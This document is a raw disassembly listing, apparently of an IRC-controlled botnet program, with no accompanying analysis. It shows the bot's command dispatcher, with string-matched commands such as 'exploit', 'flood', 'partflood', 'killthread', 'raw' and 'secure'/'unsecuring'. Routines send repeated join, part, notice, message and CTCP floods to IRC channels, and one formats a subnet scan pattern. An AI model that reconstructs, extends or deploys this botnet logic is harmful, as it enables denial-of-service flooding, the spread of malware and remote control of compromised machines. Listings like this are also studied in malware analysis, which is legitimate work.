push offset dword_42BC5C
jmp loc_4097CA
; ---------------------------------------------------------------------------
loc_4046E5: ; CODE XREF: sub_401AC7+FF0j
; sub_401AC7+1005j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404705
push esi
call sub_41BEF9
test ax, ax
pop ecx
jz short loc_404705
push esi
call sub_41BEF9
pop ecx
jmp short loc_40470B
; ---------------------------------------------------------------------------
loc_404705: ; CODE XREF: sub_401AC7+2C27j
; sub_401AC7+2C33j
mov ax, word_429084
loc_40470B: ; CODE XREF: sub_401AC7+2C3Cj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41C100
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40A9FA
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BC30
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409862
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B3AD
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset dword_40EEEC
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_4047DA
loc_4047C4: ; CODE XREF: sub_401AC7+2D11j
cmp [ebp+var_968], ebx
jnz loc_401F6C
push 32h
call near ptr 268051Bh
nop
jmp short loc_4047C4
; ---------------------------------------------------------------------------
loc_4047DA: ; CODE XREF: sub_401AC7+2CFBj
call near ptr 2680DCDh
nop
push eax
push offset unk_42BBF0
jmp loc_4097CA
; ---------------------------------------------------------------------------
loc_4047EB: ; CODE XREF: sub_401AC7+F9Cj
; sub_401AC7+FB1j ...
push edi
push offset aSecure ; "secure"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_404813
push edi
push offset aSec ; "sec"
call sub_41C7E0
pop ecx
mov [ebp+var_AA8], ebx
test eax, eax
pop ecx
jnz short loc_40481D
loc_404813: ; CODE XREF: sub_401AC7+2D33j
mov [ebp+var_AA8], 1
loc_40481D: ; CODE XREF: sub_401AC7+2D4Aj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41C100
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_AA8], ebx
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
mov [ebp+var_AA0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_404864
mov eax, offset aUnsecuring ; "Unsecuring"
loc_404864: ; CODE XREF: sub_401AC7+2D96j
push eax
push offset dword_42BBBC
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C100
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B3AD
add esp, 1Ch
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A307
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_4048D8
loc_4048C2: ; CODE XREF: sub_401AC7+2E0Fj
cmp [ebp+var_A9C], ebx
jnz loc_40830C
push 32h
nop
call near ptr 268051Bh
jmp short loc_4048C2
; ---------------------------------------------------------------------------
loc_4048D8: ; CODE XREF: sub_401AC7+2DF9j
nop
call near ptr 2680DCDh
push eax
push offset dword_42BB80
jmp loc_4082FD
; ---------------------------------------------------------------------------
loc_4048E9: ; CODE XREF: sub_401AC7+F72j
; sub_401AC7+F87j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41AB97
loc_4048FA: ; CODE XREF: sub_401AC7+2A85j
; sub_401AC7+2A9Bj ...
add esp, 0Ch
jmp loc_409643
; ---------------------------------------------------------------------------
loc_404902: ; CODE XREF: sub_401AC7+F48j
; sub_401AC7+F5Dj
push offset unk_42BB30
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_40490C: ; CODE XREF: sub_401AC7+F1Ej
; sub_401AC7+F33j
push offset aZxvsVrx ; "ZxVs VRX"
push offset dword_42BB20
jmp loc_406C33
; ---------------------------------------------------------------------------
loc_40491B: ; CODE XREF: sub_401AC7+EF4j
; sub_401AC7+F09j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40497B
push esi
call sub_41BEF9
cmp eax, ebx
pop ecx
jl short loc_404970
cmp eax, 3
jge short loc_404970
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_404965
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD5C
push eax
call sub_41C006
add esp, 0Ch
mov [esi], bl
jmp loc_4081DE
; ---------------------------------------------------------------------------
loc_404965: ; CODE XREF: sub_401AC7+2E7Dj
push eax
push offset unk_42BAF4
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_404970: ; CODE XREF: sub_401AC7+2E68j
; sub_401AC7+2E6Dj
push eax
push offset unk_42BAC8
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_40497B: ; CODE XREF: sub_401AC7+2E5Dj
mov edi, [ebp+arg_18]
xor esi, esi
loc_404980: ; CODE XREF: sub_401AC7+2ED5j
push [ebp+var_90]
push edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4049A3
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404980
jmp loc_4081DE
; ---------------------------------------------------------------------------
loc_4049A3: ; CODE XREF: sub_401AC7+2EC9j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42CD5C
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_4049BD: ; CODE XREF: sub_401AC7+ECAj
; sub_401AC7+EDFj
push [ebp+var_8C]
push offset dword_42CCD4
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403433
call sub_40B576
push ebx
call near ptr 77E75CB5h
nop
loc_4049E3: ; CODE XREF: sub_401AC7+19A4j
push offset aGet ; "get"
push edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_404A89
cmp dword_4CCAC0, ebx
jz short loc_404A0F
push offset dword_4CC4A0
push offset unk_42BA8C
jmp loc_404A9B
; ---------------------------------------------------------------------------
loc_404A0F: ; CODE XREF: sub_401AC7+2F37j
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
nop
call near ptr 71AB157Eh
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E24]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41C006
lea eax, [ebp+var_E24]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BA8C
push eax
call sub_41C006
add esp, 20h
jmp loc_40348A
; ---------------------------------------------------------------------------
loc_404A89: ; CODE XREF: sub_401AC7+2F2Bj
push edi
call dword_4C9344
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_404AAF
push offset unk_42BA4C
loc_404A9B: ; CODE XREF: sub_401AC7+2F43j
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 0Ch
jmp loc_40348A
; ---------------------------------------------------------------------------
loc_404AAF: ; CODE XREF: sub_401AC7+2FCDj
push offset dword_4CC4A0
call sub_41C620
push edi
lea eax, [ebp+var_2C4]
push offset unk_42BA20
push eax
mov dword_4CCAC0, 1
call sub_41C006
add esp, 14h
jmp loc_40348A
; ---------------------------------------------------------------------------
loc_404ADD: ; CODE XREF: sub_401AC7+198Fj
push [ebp+arg_8]
push offset aExploit ; "exploit"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_404BDA
mov eax, [ebp+var_4]
mov esi, 80h
mov [ebp+var_13E8], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F8], eax
push offset aF ; "#f"
lea eax, [ebp+var_1478]
push esi
push eax
mov [ebp+var_13F0], 1
call sub_41C100
push offset aF ; "#f"
lea eax, [ebp+var_14F8]
push esi
push eax
call sub_41C100
push edi
lea eax, [ebp+var_1508]
push 10h
push eax
call sub_41C100
lea eax, [ebp+var_1508]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B9E8
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B3AD
add esp, 3Ch
mov [ebp+var_13EC], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1508]
push ebx
push eax
push offset dword_40BB54
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_13EC]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_404BC9
loc_404BB3: ; CODE XREF: sub_401AC7+3100j
cmp [ebp+var_13E0], ebx
jnz loc_4081DE
push 32h
nop
call near ptr 268051Bh
jmp short loc_404BB3
; ---------------------------------------------------------------------------
loc_404BC9: ; CODE XREF: sub_401AC7+30EAj
nop
call near ptr 2680DCDh
push eax
push offset unk_42B9A8
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_404BDA: ; CODE XREF: sub_401AC7+3027j
push [ebp+arg_8]
push offset aReconnect_in ; "reconnect.in"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4095BA
push [ebp+arg_8]
push offset aRin ; "rin"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4095BA
push [ebp+arg_8]
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_409578
push [ebp+arg_8]
push offset aRinms ; "rinms"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_409578
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4057B5
nop
call near ptr 26A0729h
push eax
call sub_41C058
push edi
push offset aLoad ; "load"
call sub_41C7E0
add esp, 0Ch
test eax, eax
jnz short loc_404CDD
cmp [ebp+esi+var_80], ebx
jz short loc_404CDD
push [ebp+esi+var_80]
call sub_41BEF9
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41BEF9
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417DB7
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42B940
push eax
call sub_41C006
add esp, 20h
cmp [ebp+var_8], ebx
jnz short loc_404CDD
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_404CDD: ; CODE XREF: sub_401AC7+31A2j
; sub_401AC7+31A8j ...
push edi
push offset dword_42B93C
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404D44
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D44
push offset asc_42CDCC ; " "
push offset dword_42B938
push eax
call sub_4183EC
push eax
lea eax, [ebp+var_47F0]
push eax
call sub_41C620
lea eax, [ebp+var_47F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B928
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 28h
loc_404D44: ; CODE XREF: sub_401AC7+3225j
; sub_401AC7+3230j
push edi
push offset dword_42B924
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404DAB
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DAB
push offset asc_42CDCC ; " "
push offset dword_42B938
push eax
call sub_4183EC
push eax
lea eax, [ebp+var_4AF4]
push eax
call sub_41C620
lea eax, [ebp+var_4AF4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B910
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 28h
loc_404DAB: ; CODE XREF: sub_401AC7+328Cj
; sub_401AC7+3297j
push edi
push offset aNt ; "nt"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404E12
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E12
push offset asc_42CDCC ; " "
push offset dword_42B938
push eax
call sub_4183EC
push eax
lea eax, [ebp+var_48F0]
push eax
call sub_41C620
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 28h
loc_404E12: ; CODE XREF: sub_401AC7+32F3j
; sub_401AC7+32FEj
push edi
push offset aMode ; "mode"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404E79
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E79
push offset asc_42CDCC ; " "
push offset dword_42B938
push eax
call sub_4183EC
push eax
lea eax, [ebp+var_4FF8]
push eax
call sub_41C620
lea eax, [ebp+var_4FF8]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 28h
loc_404E79: ; CODE XREF: sub_401AC7+335Aj
; sub_401AC7+3365j
push edi
push offset aJoin ; "join"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404EB6
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404EB6
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 10h
loc_404EB6: ; CODE XREF: sub_401AC7+33C1j
; sub_401AC7+33CCj
push edi
push offset aPart_0 ; "part"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404EF3
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404EF3
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 10h
loc_404EF3: ; CODE XREF: sub_401AC7+33FEj
; sub_401AC7+3409j
push edi
push offset aPartflood ; "partflood"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404F35
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F35
push offset dword_427638
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
loc_404F35: ; CODE XREF: sub_401AC7+343Bj
; sub_401AC7+3446j
push edi
push offset aPnick ; "pnick"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404FA8
cmp [ebp+esi+var_88], ebx
jz short loc_404FA8
nop
call near ptr 26A0729h
push eax
call sub_41C058
call sub_41C062
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B8]
push edx
push [ebp+esi+var_88]
push offset dword_42B8A0
push eax
call sub_41C006
lea eax, [ebp+var_17B8]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B898
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 24h
loc_404FA8: ; CODE XREF: sub_401AC7+347Dj
; sub_401AC7+3486j
push edi
push offset dword_42B88C
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4050F9
cmp [ebp+esi+var_88], ebx
jz loc_4050F9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
push offset dword_427638
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 24h
call sub_41C062
cdq
mov ecx, 3E8h
idiv ecx
push edx
call near ptr 268051Bh
nop
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 10h
call sub_41C062
cdq
mov ecx, 384h
idiv ecx
push edx
nop
call near ptr 268051Bh
push offset dword_427638
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 24h
call sub_41C062
cdq
mov ecx, 0C8h
idiv ecx
push edx
nop
call near ptr 268051Bh
push offset dword_427638
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
loc_4050F9: ; CODE XREF: sub_401AC7+34F0j
; sub_401AC7+34FDj
push edi
push offset dword_42B888
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405191
cmp [ebp+esi+var_88], ebx
jz short loc_405191
nop
call near ptr 26A0729h
push eax
call sub_41C058
pop ecx
call sub_41C062
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C062
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C062
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C062
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C062
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42B860
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 24h
loc_405191: ; CODE XREF: sub_401AC7+3641j
; sub_401AC7+364Ej
push edi
push offset aNick_0 ; "nick"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405294
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_405294
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
lea eax, [ebp+var_4BC]
push eax
call sub_417E35
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B898
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 24h
call sub_41C062
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 268051Bh
lea eax, [ebp+var_4BC]
push eax
call sub_417E35
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B898
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
call sub_41C062
cdq
mov ecx, 1F4h
idiv ecx
push edx
nop
call near ptr 268051Bh
lea eax, [ebp+var_4BC]
push eax
call sub_417E35
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B898
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
loc_405294: ; CODE XREF: sub_401AC7+36D9j
; sub_401AC7+36E8j
push edi
push offset aChgnick ; "chgnick"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4052D8
lea eax, [ebp+var_180C]
push eax
call sub_417E35
lea eax, [ebp+var_180C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B898
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
loc_4052D8: ; CODE XREF: sub_401AC7+37DCj
push edi
push offset aMsg ; "msg"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4053CA
cmp [ebp+esi+var_88], ebx
jz loc_4053CA
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B928
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 24h
call sub_41C062
cdq
mov ecx, 3E8h
idiv ecx
push edx
call near ptr 268051Bh
nop
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B928
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
call sub_41C062
cdq
mov ecx, 384h
idiv ecx
push edx
call near ptr 268051Bh
nop
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B928
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
loc_4053CA: ; CODE XREF: sub_401AC7+3820j
; sub_401AC7+382Dj
push edi
push offset aNotice_0 ; "notice"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4054BC
cmp [ebp+esi+var_88], ebx
jz loc_4054BC
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 24h
call sub_41C062
cdq
mov ecx, 3E8h
idiv ecx
push edx
nop
call near ptr 268051Bh
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
call sub_41C062
cdq
mov ecx, 384h
idiv ecx
push edx
nop
call near ptr 268051Bh
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
loc_4054BC: ; CODE XREF: sub_401AC7+3912j
; sub_401AC7+391Fj
push edi
push offset aCtcp ; "ctcp"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4055DA
cmp [ebp+esi+var_88], ebx
jz loc_4055DA
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B818
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 20h
call sub_41C062
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 268051Bh
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B800
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 10h
call sub_41C062
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 268051Bh
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E8
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 10h
call sub_41C062
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 268051Bh
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E8
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 10h
loc_4055DA: ; CODE XREF: sub_401AC7+3A04j
; sub_401AC7+3A11j
push edi
push offset aMix ; "mix"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405707
cmp [ebp+esi+var_88], ebx
jz loc_405707
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B818
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 20h
call sub_41C062
cdq
mov ecx, 514h
idiv ecx
push edx
call near ptr 268051Bh
nop
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
call sub_41C062
cdq
mov ecx, 514h
idiv ecx
push edx
call near ptr 268051Bh
nop
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
call sub_41C062
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 268051Bh
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
loc_405707: ; CODE XREF: sub_401AC7+3B22j
; sub_401AC7+3B2Fj
push edi
push offset aRegister ; "register"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40574B
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_40574B
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_417AD7
add esp, 14h
loc_40574B: ; CODE XREF: sub_401AC7+3C4Fj
; sub_401AC7+3C5Aj
push edi
push offset aOff ; "off"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4061E0
mov [ebp+arg_18], offset dword_4D239C
loc_405767: ; CODE XREF: sub_401AC7+3CC4j
mov eax, [ebp+arg_18]
cmp dword ptr [eax-4], 1
jnz short loc_40577D
mov eax, [eax]
cmp eax, ebx
jbe short loc_40577D
push eax
call dword_4C939C
loc_40577D: ; CODE XREF: sub_401AC7+3CA7j
; sub_401AC7+3CADj
add [ebp+arg_18], 210h
cmp [ebp+arg_18], offset dword_4D8ABC
jl short loc_405767
cmp [ebp+var_8], ebx
jnz loc_4061E0
push ebx
push [ebp+var_4]
push offset unk_42B788
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
jmp loc_4061E0
; ---------------------------------------------------------------------------
loc_4057B5: ; CODE XREF: sub_401AC7+3180j
push [ebp+arg_8]
push offset aNick_0 ; "nick"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40955F
push [ebp+arg_8]
push offset aN ; "n"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40955F
push [ebp+arg_8]
push offset aJoin ; "join"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40953F
push [ebp+arg_8]
push offset aJ ; "j"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40953F
push [ebp+arg_8]
push offset aPart_0 ; "part"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_409526
push [ebp+arg_8]
push offset aPt ; "pt"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_409526
push [ebp+arg_8]
push offset aRaw ; "raw"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4094EF
push [ebp+arg_8]
push offset aR ; "r"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4094EF
push [ebp+arg_8]
push offset aKillthread ; "killthread"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40942C
push [ebp+arg_8]
push offset aK ; "k"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40942C
push [ebp+arg_8]
push offset aC_quit ; "c_quit"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_409381
push [ebp+arg_8]
push offset aC_q ; "c_q"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_409381
push [ebp+arg_8]
push offset aC_rndnick ; "c_rndnick"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_409336
push [ebp+arg_8]
push offset aC_rn ; "c_rn"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_409336
push [ebp+arg_8]
push offset aPrefix ; "prefix"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_409321
push [ebp+arg_8]
push offset aPr ; "pr"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_409321
push [ebp+arg_8]
push offset aOpen ; "open"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4092F7
push [ebp+arg_8]
push offset aO ; "o"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4092F7
push [ebp+arg_8]
